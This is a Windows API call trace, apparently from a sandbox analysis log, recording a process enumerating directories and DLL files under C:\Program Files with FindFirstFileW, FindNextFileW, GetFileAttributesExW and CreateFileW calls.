	[0053.543] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.543] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0053.543] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.543] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x12867958 | out: lpFileInformation=0x12867958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.545] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.545] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0053.545] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0053.545] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0053.545] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.545] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\Microsoft.Synchronization.Data.Server.dll" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0\\microsoft.synchronization.data.server.dll"), fInfoLevelId=0x0, lpFileInformation=0x12867a98 | out: lpFileInformation=0x12867a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420)) returned 1
	[0053.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\Microsoft.Synchronization.Data.SqlServerCe.dll" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0\\microsoft.synchronization.data.sqlserverce.dll"), fInfoLevelId=0x0, lpFileInformation=0x12867ae8 | out: lpFileInformation=0x12867ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450)) returned 1
	[0053.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\Microsoft.Synchronization.Data.dll" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0\\microsoft.synchronization.data.dll"), fInfoLevelId=0x0, lpFileInformation=0x12867b38 | out: lpFileInformation=0x12867b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420)) returned 1
	[0053.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), fInfoLevelId=0x0, lpFileInformation=0x12867b88 | out: lpFileInformation=0x12867b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.548] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.548] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.548] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0053.548] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.548] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x12867c28 | out: lpFileInformation=0x12867c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.548] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.549] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), fInfoLevelId=0x0, lpFileInformation=0x12867cc8 | out: lpFileInformation=0x12867cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.549] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0053.549] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.549] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x12867db8 | out: lpFileInformation=0x12867db8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.550] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
